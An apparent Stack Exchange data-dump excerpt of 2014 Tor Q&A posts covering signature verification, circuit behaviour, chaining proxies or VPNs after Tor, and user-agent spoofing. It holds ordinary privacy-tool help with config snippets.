  <row Id="1215" PostTypeId="1" CreationDate="2014-01-06T03:22:11.840" Score="3" ViewCount="3527" Body="&lt;p&gt;I'm using Tor with a VPN (from privateinternetaccess&lt;sup&gt;TM&lt;/sup&gt;), so I thought I was doing pretty good at maintaining anonymity, until I tried to use the Genymotion Android emulator. It links directly to my network and tracks my IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a screen to enter http proxy info and port settings (see pic below) - is that advisable?  Where do I get the values to enter - Tor or my VPN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vTV8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="901" LastEditorUserId="923" LastEditDate="2014-08-02T16:01:32.833" LastActivityDate="2015-02-01T16:21:24.750" Title="Genymotion Android Emulator" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1217" PostTypeId="1" CreationDate="2014-01-06T12:18:43.863" Score="4" ViewCount="3445" Body="&lt;p&gt;I wish to verify the signatures of Tor, but when I download the package I only have the &lt;code&gt;.exe&lt;/code&gt; file to extract, I don't see any &lt;code&gt;.asc&lt;/code&gt; file. I was following the short user manual for verify the signatures, but seems I cannot do it. Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="88" LastEditDate="2014-01-29T20:47:18.453" LastActivityDate="2016-03-24T08:34:52.617" Title="Why cannot I see any .asc file when i download the package?" Tags="|support|verification|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1218" PostTypeId="2" ParentId="1217" CreationDate="2014-01-06T14:08:28.743" Score="5" Body="&lt;p&gt;When you download Tor or the Browser Bundles directly from &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot;&gt;Tor Project Download Page&lt;/a&gt; you can find a link called (sig) this is the asc file you need for verifying&#xA; the downloaded packages.&lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2014-01-06T14:08:28.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1219" PostTypeId="2" ParentId="1217" CreationDate="2014-01-06T14:08:50.347" Score="4" Body="&lt;p&gt;The signature is not bundled with the archive; it can be found on the Tor Project website in the same place as the download (just append &lt;code&gt;.asc&lt;/code&gt; to the end of the archive's path or look for the &lt;code&gt;sig&lt;/code&gt; link under the download link).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/dist/torbrowser/3.5/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for a full list of TBB 3.5 archives and signatures.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-01-06T14:08:50.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1220" PostTypeId="2" ParentId="1199" CreationDate="2014-01-06T14:28:00.983" Score="1" Body="&lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click the onion icon in Windows Notification Area, and Select &quot;New Identity&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Android&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the Orbot app, and on the big power icon swipe horizontally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the onion icon in Tor browser, and Select &quot;New Identity&quot;.&lt;/p&gt;&#xA;" OwnerUserId="903" LastEditorUserId="100" LastEditDate="2014-07-22T14:48:27.957" LastActivityDate="2014-07-22T14:48:27.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1221" PostTypeId="1" AcceptedAnswerId="1222" CreationDate="2014-01-06T20:02:09.730" Score="4" ViewCount="506" Body="&lt;p&gt;New Tor users using Apple's Mac OSX sometimes &lt;a href=&quot;https://tor.stackexchange.com/questions/1187/my-osx-is-saying-torbrowserbundle-en-us-cant-be-opened-because-it-is-from-an&quot;&gt;run into difficulty opening the Tor browser bundle the first time&lt;/a&gt;. This could be alleviated if the Tor Foundation were to register in Apple's &lt;a href=&quot;https://developer.apple.com/developer-id/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gatekeeper Developer ID program&lt;/a&gt;. Why hasn't the Tor Foundation done so?&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-01-06T23:15:18.547" Title="Why isn't the Tor Foundation registered in Apple's Gatekeeper Developer ID Program?" Tags="|tor-browser-bundle|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1222" PostTypeId="2" ParentId="1221" CreationDate="2014-01-06T20:09:29.277" Score="4" Body="&lt;p&gt;Caveat: I am not a member of the Tor Foundation so I can not speak officially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary issue with Apple's Developer ID program is that by enrolling, the official binaries produced by the Tor Foundation for Mac OSX would be subjected to various Apple dictated stipulations and the Tor Foundation would lose autonomy over the release process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current verification system using open source, trusted tools by the Tor Foundation is important for the safety of all Tor users.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-01-06T23:15:18.547" LastActivityDate="2014-01-06T23:15:18.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1223" PostTypeId="5" CreationDate="2014-01-06T23:11:31.437" Score="0" Body="&lt;p&gt;Tor works to anonymize browser data as much as possible without making it too obvious that the brower is running Tor. The Tor browser bundle aims to provide 'lowest common denominator' data in its fingerprint in order to fit in the most web traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more check out the Electonic Freedom Foundation's &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;Panopticlick&lt;/a&gt; fingerprinting tool. &lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-01-07T01:38:41.640" LastActivityDate="2014-01-07T01:38:41.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1224" PostTypeId="4" CreationDate="2014-01-06T23:11:31.437" Score="0" Body="A browser fingerprint comprises information obtained about a browser during normal use. Fingerprints can fully or partially identify individual users or devices even when cookies are turned off." OwnerUserId="610" LastEditorDisplayName="user5" LastEditDate="2014-01-07T01:40:22.927" LastActivityDate="2014-01-07T01:40:22.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1225" PostTypeId="1" AcceptedAnswerId="1345" CreationDate="2014-01-06T23:20:29.997" Score="10" ViewCount="2326" Body="&lt;p&gt;There are many useful Firefox plugins and extensions that are compatible with the Tor Browser Bundle - how do I know which ones are safe to install without compromising my Tor anonymization? &lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="923" LastEditDate="2014-03-05T19:15:23.777" LastActivityDate="2016-01-18T11:40:56.577" Title="How can I check if a Firefox plugin is a deanonymization threat?" Tags="|tor-browser-bundle|firefox|fingerprinting|deanonymization|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1226" PostTypeId="1" CreationDate="2014-01-07T00:25:58.463" Score="1" ViewCount="57" Body="&lt;p&gt;I have noticed that when I try to sign up for things that require an email address over Tor, I am almost always blocked from doing so and told that I am a spammer. I believe that the cause of that is that the exit relays are being marked as spammers, either because someone has been spamming a lot over Tor or some spam identification system has a problem with Tor (I am assuming the former).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything we can do to fix this? &lt;/p&gt;&#xA;" OwnerUserId="812" LastEditorDisplayName="user5" LastEditDate="2014-01-07T01:41:09.837" LastActivityDate="2014-01-07T01:41:09.837" Title="What can we do about so many exit nodes being marked as spammers?" Tags="|exit-relays|email|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-21T22:52:51.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="1227" PostTypeId="1" CreationDate="2014-01-07T03:11:32.893" Score="2" ViewCount="291" Body="&lt;p&gt;I know that Tor re-uses the circuits, all streams are attached to the same circuit, but I do not know whether Tor assigns all streams from all website to the same circuit or it assigns the streams of different websites to the different circuits.&#xA;If we consider ALL streams (belong to the all visiting websites) are assigned to the same circuit, it means we need just one circuit every 10 minutes (as long as this circuit is up). So why do we need on-demand circuits?&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-07-15T14:17:30.010" Title="Streams and Circuits assignments" Tags="|circuit|stream-isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1228" PostTypeId="1" CreationDate="2014-01-07T17:25:50.170" Score="1" ViewCount="50" Body="&lt;p&gt;I tried hooking Tor up to a socket proxy. But it won't let me use it. It says &quot;Tor is unable to work in this browser.&quot; What do I do about this? It originally worked. Any thoughts? Is this a problem with Vidalia?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="716" LastActivityDate="2014-01-07T17:25:50.170" Title="port-reachability issues; socket proxies" Tags="|tor-browser-bundle|configuration|support|vidalia|socks|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-21T22:53:17.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="1229" PostTypeId="1" CreationDate="2014-01-07T17:52:13.083" Score="4" ViewCount="8410" Body="&lt;p&gt;How can I use a proxy after Tor? Few sites that I use refuse connections from Tor due to abuse, and because of DDOS many sites behind cloudfare/akamai constantly ask me to do captcha every refresh. So is there a way to do this me -&gt; Tor exit node -&gt; my_proxy -&gt; www ??? &lt;/p&gt;&#xA;" OwnerUserId="910" LastEditorUserId="923" LastEditDate="2014-06-27T08:07:31.357" LastActivityDate="2014-06-27T08:07:31.357" Title="How to chain proxy after Tor" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1230" PostTypeId="1" AcceptedAnswerId="1231" CreationDate="2014-01-07T22:35:24.967" Score="6" ViewCount="1059" Body="&lt;p&gt;When I use Tor circuit during last few months I use ip-check.info site to verify my IP address in addition to check.torproject.org site. What I have noticed is that occasionally I get two IP addresses simultaneously. This phenomenon becomes more pronounced when I use bridges to connect to Tor. I have documented an example of this phenomenon. Below please find an example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;check.torproject.org&lt;/code&gt; showed that my IP Address appear to be &lt;code&gt;185.2.138.125&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ip-check.info&lt;/code&gt; showed that my IP Address is &lt;code&gt;185.2.138.125&lt;/code&gt;  but in addition to that it shows that &lt;code&gt;46.149.23.63&lt;/code&gt; (FTP) is my address and declares that I am not secure.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there something fishy going on. Am I being observed by third party? Is there a MITM?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="88" LastEditDate="2014-12-16T22:13:24.917" LastActivityDate="2014-12-23T18:16:41.110" Title="When I use Tor, occasionally I get two different IP address simultaneously" Tags="|anonymity|security|torcheck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1231" PostTypeId="2" ParentId="1230" CreationDate="2014-01-07T22:53:16.467" Score="3" Body="&lt;p&gt;No, everything is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is creating Circuits consisting of an entry-node, some middle-nodes and an exit node.&#xA;Usually your entry-node is a guard node and is your first contact point to the Tor network.&#xA;The middle-nodes are relays which just relays your traffic.&#xA;The exit node will then communicate for you with the &quot;real&quot; world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually connections to the same Server are done through the same Circuit, in your case you are contacting different servers so Tor is creating at least one Circuit for each server you want to connect to, and as Tor tries not to use the same Tor-routers twice it is good to see that your IP changes.&lt;/p&gt;&#xA;" OwnerUserId="612" LastEditorUserId="923" LastEditDate="2014-12-23T18:16:41.110" LastActivityDate="2014-12-23T18:16:41.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1232" PostTypeId="1" CreationDate="2014-01-07T23:09:56.843" Score="16" ViewCount="11922" Body="&lt;p&gt;I was just trying to figure out how to combine Tor with a VPN for the times when I may need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know most of you are going to avoid answering my question by trying to talk me out of doing it, but I just want to know HOW to do it for the times I might need to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do Me -&gt; OpenVPN -&gt; Tor. This is really easy. But I want to learn how to do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Me -&gt; Tor -&gt; OpenVPN. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched, searched and searched but was unable to find a clear answer to how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me figure this out? Bonus points if you can tell me how to do Tor -&gt; Tails&lt;/p&gt;&#xA;" OwnerUserId="913" LastEditorUserId="923" LastEditDate="2015-02-14T15:57:03.570" LastActivityDate="2020-11-02T18:04:51.780" Title="Me -&gt; Tor -&gt; Vpn [How?]" Tags="|vpn|tails|openvpn|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1233" PostTypeId="2" ParentId="1230" CreationDate="2014-01-08T08:10:07.487" Score="4" Body="&lt;p&gt;It's particularly not surprising to see different exit IPs for different protocols. This &lt;a href=&quot;//tor.stackexchange.com/q/779/71&quot;&gt;previous question&lt;/a&gt; of mine discusses this partially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially each connection to the net looks for a circuit that supports that protocol. If there's an circuit already waiting with that port open (and it's less than 10 minutes old) then Tor will re-use that. If not then Tor will grab a new circuit and use that instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you'll connect to multiple servers over multiple protocols with the same circuit (and same exit node), but sometimes you'll end up with multiple circuits and this is completely normal.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-01-08T08:10:07.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1234" PostTypeId="2" ParentId="1229" CreationDate="2014-01-08T09:25:09.103" Score="6" Body="&lt;p&gt;There are, probably thousands of combinations you might implement. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to collect best Unix-like versions, if somebody know better, easiest, shortest way to setup proxy after Tor, you are welcome to complete my answer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1) Read this article &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot;&gt;TransparentProxy&lt;/a&gt; and this &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot;&gt;IsolatingProxy&lt;/a&gt;, thereafter, you may start anything under &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#Transparentlyanonymizingtrafficforaspecificuser&quot;&gt;transparently anonymized specific user&lt;/a&gt;. For example, start Firefox, go to settings -&gt; connection settings, set your proxy for Firefox. Your Firefox will achieve target host by next chain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost -&amp;gt; Transparent Port ( Tor ) -&amp;gt; Guard ( Tor ) -&amp;gt; Middle ( Tor ) -&amp;gt; &#xA;-&amp;gt; Exit ( Tor ) -&amp;gt; Your Proxy -&amp;gt; Target Host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;2) Another perfect tool is &lt;a href=&quot;http://proxychains.sourceforge.net/&quot;&gt;proxychains&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dedicated OS: Linux and other Unices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Configuration file /etc/proxychains.conf should be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strict_chain&#xA;#&#xA;# Strict - Each connection will be done via chained proxies&#xA;# all proxies chained in the order as they appear in the list&#xA;# all proxies must be online to play in chain&#xA;# otherwise EINTR is returned to the app&#xA;&#xA;# Make sense only if random_chain&#xA;chain_len = 2&#xA;&#xA;# Proxy DNS requests - no leak for DNS data&#xA;proxy_dns &#xA;&#xA;[ProxyList]&#xA;# add proxy here ...&#xA;socks5         127.0.0.1 9050       # Tor socks5 &#xA;socks5         184.152.92.156:37071 # https://hidemyass.com/proxy-list/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can launch any browser via proxychains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ proxychains firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-01-08T09:25:09.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1235" PostTypeId="2" ParentId="1232" CreationDate="2014-01-08T10:02:35.693" Score="7" Body="&lt;p&gt;Hint:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openvpn --help&#xA;--socks-proxy s [p] [up] : Connect to remote host through a Socks5 proxy at&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/etc/tor/torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050 # what port to open for local application connections&#xA;SocksListenAddress 127.0.0.1 # accept connections only from localhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a newbie, you are probably meet troubles with wrapping a connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you'll start openvpn directly from host where Tor works, you'll lost connection. Simple, routing will be looped, somethings like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Host -&gt; Vpn -&gt; Tor -&gt; Host -&gt; Vpn -&gt; Tor -&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You need to get &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#AnonymizingMiddlebox&quot;&gt;middle box&lt;/a&gt;. Thereafter, connect to your VPN provider with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# openvpn config.ovpn --socks-proxy 192.168.1.1 9050 --verb 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your can get any &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_machine&quot;&gt;Virtual Machine&lt;/a&gt;. Launch Tor on the Host, configure middle box, open socks5 proxy for Virtual Machine. Launch openvpn inside Guest with previous flags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be safe from leakage in this case, if you deny Guest to connect to external network, only internal ( virtual ) NAT. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Or, you can take 2 Stations: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Station with 2 ethernet cards is a middle box:&#xA;one eth look to internet, second into internal network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Station - is your work station. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might, again, open only Socks5 port on the first Station for internal network, to prevent leakage. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1 Station(openvpn --socks-proxy) ---&gt; 2 Station ( Tor middle box ) --&gt; Internet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;You might read this my answer: &lt;a href=&quot;https://tor.stackexchange.com/questions/1229/how-to-chain-proxy-after-tor/1234#1234&quot;&gt;https://tor.stackexchange.com/questions/1229/how-to-chain-proxy-after-tor/1234#1234&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="792" LastEditDate="2014-01-09T18:17:09.340" LastActivityDate="2014-01-09T18:17:09.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1239" PostTypeId="1" AcceptedAnswerId="1240" CreationDate="2014-01-09T04:09:35.470" Score="9" ViewCount="11923" Body="&lt;p&gt;I was wondering is there a way to fool websites into thinking that I am using another browser instead of what I'm really using, Tor Browser. Say I wanted example.com to see me connecting to them using IE or Chrome instead of Tor Browser. Is this possible? Maybe using a plugin or something?&lt;/p&gt;&#xA;" OwnerUserId="917" LastEditorUserId="923" LastEditDate="2015-02-17T06:04:13.383" LastActivityDate="2019-05-25T23:26:03.853" Title="Have Tor appear to be a different browser" Tags="|tor-browser-bundle|fingerprinting|browsers|plugin|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1240" PostTypeId="2" ParentId="1239" CreationDate="2014-01-09T04:53:08.753" Score="4" Body="&lt;p&gt;Every browser has a userAgent string that is sent to the remote server that tells it what browser and operating system is making the request.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is built on top of Mozilla Firefox. Firefox, and other Mozilla browsers, allow users to modify the userAgent string.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the address bar of the Tor browser, go to about:config&lt;/li&gt;&#xA;&lt;li&gt;A warning appears about voiding the warranty. Just click &quot;I'll be careful, I promise&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In the search box, type &quot;userAgent&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You'll now see a list of key/value pairs known as &quot;preferences&quot;. Edit the value for the key &quot;general.useragent.override&quot; and put in the userAgent string for the platform you wish to send as your userAgent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit &lt;a href=&quot;http://www.quirksmode.org/js/detect.html&quot;&gt;Quirksmode's Browser Detection Page&lt;/a&gt; to confirm servers see your userAgent string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of userAgent strings for different platforms on the &lt;a href=&quot;http://www.useragentstring.com/pages/All/&quot;&gt;User Agent String.Com Website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that there are Firefox extensions that facilitate this userAgent string switching by modifying these preferences under the hood. However, The Tor Project does not recommend installing any add-ons, plugins, or making any such modifications to the Tor browser as it may compromise your security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 99% of all Tor browser traffic is going to have similar userAgent strings, modifying your own version string could theoretically compromise your security. I do not know if the userAgent string is encrypted along with the other traffic. Also, if you put any personally identifying information in the userAgent string, that would surely compromise your identity. Just be careful, and do your research before modifying the userAgent string and then doing anything where you desire anonymity.&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2014-01-09T04:58:10.457" LastActivityDate="2014-01-09T04:58:10.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1241" PostTypeId="1" CreationDate="2014-01-09T09:31:42.977" Score="2" ViewCount="6228" Body="&lt;p&gt;There is &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; of Tor daemon, but I can't find source of Tor Browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#linux&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en#linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the open-source?&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="792" LastEditDate="2014-01-09T20:44:14.387" LastActivityDate="2018-01-29T17:53:23.763" Title="Where I can get Tor Browser Bundle source?" Tags="|tor-browser-bundle|source-code|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1242" PostTypeId="2" ParentId="1239" CreationDate="2014-01-09T11:54:38.813" Score="3" Body="&lt;p&gt;Whether you can fool the site you are connecting to into thinking you are using a different browser depends on the method that the site uses to identify your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site identifies the browser by looking at the User-Agent string, then you can fool it by modifying the User-Agent string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site detects Tor users by checking whether the IP address a request comes from is the address of a Tor exit node, then there is not much you can do to disguise the fact that you are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site detects the browser you are using by inspecting certain identifying characteristics (the level of javascript/CSS support, the order in which it sends HTTP headers etc.) then it will be difficult to fool the site without making large scale modifications to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that modifying Tor Browser to spoof another browser can jeopardize your anonymity and make it possible for websites and exit node operators to track your behavior over time. By design, all Tor Browser instances send the same User-Agent string, thus if a site or exit nodes sees two requests with the same User-Agent string at two different times coming from the Tor network, then the probability of them coming from the same user is 1/n, where n = the total number of Tor users. If you are the only Tor user who has modified their user agent string to a particular value, then that probability increases to 1/1 = 100%, i.e. the site can link the two requests with certainty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you should only change the User Agent string to spoof another browser in instances where it is absolutely necessary. For example, if you want to download a file from a site which only accepts requests from a particular User-Agent, then modify the User-Agent string, get the file and then immediately switch back to the standard User-Agent string used by Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="919" LastEditorUserId="919" LastEditDate="2014-01-09T12:03:41.023" LastActivityDate="2014-01-09T12:03:41.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1243" PostTypeId="1" CreationDate="2014-01-09T13:02:16.577" Score="2" ViewCount="338" Body="&lt;p&gt;I have set up a non-exit Tor relay on my Windows 8.1 64 PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use uTorrent, outside of the Tor network, but on the same pc, a lot of trackers become unreachable, not all of them though, just about 10 or 20%. (Some on the same domain than others that are reachable ; this results in the progress bar of some completed torrents becoming red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I shut down Tor, the trackers become reachable again instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem ? As I am an avid user of uTorrent, this problem could prevent me from continuing my Tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 100 Mbytes download connection and 50 Mbytes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up the Tor relay specifying a 1,5 Mbytes connection speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only guess is maybe windows or my router limits the amount of simultaneous connections to my pc or something like that ?&lt;/p&gt;&#xA;" OwnerUserId="920" LastEditorUserId="923" LastEditDate="2014-03-05T19:26:41.827" LastActivityDate="2014-03-05T19:26:41.827" Title="Torrent outside the Tor network" Tags="|relays|windows|bittorrent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1244" PostTypeId="1" CreationDate="2014-01-09T15:55:25.057" Score="1" ViewCount="30" Body="&lt;p&gt;I'm looking for the code for tor-0.2.3.0-alpha-dev. I have a patch that is to be applied to exactly this version. In the git repository, I can't find that tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help?&lt;/p&gt;&#xA;" OwnerUserId="921" LastActivityDate="2014-01-14T11:57:49.750" Title="Where to find tor-0.2.3.0-alpha-dev?" Tags="|packages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1245" PostTypeId="2" ParentId="1200" CreationDate="2014-01-09T20:26:32.590" Score="2" Body="&lt;p&gt;Bittorrent over Tor isn't a good idea&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2014-01-09T20:26:32.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1246" PostTypeId="2" ParentId="1241" CreationDate="2014-01-09T20:31:16.590" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download.html.en&lt;/a&gt;&#xA;Last expand menu -&gt; source code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/dist/tor-0.2.4.20.tar.gz&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/dist/tor-0.2.4.20.tar.gz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and TorBundle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser-details.html.en#build&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser-details.html.en#build&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastActivityDate="2014-01-09T20:31:16.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
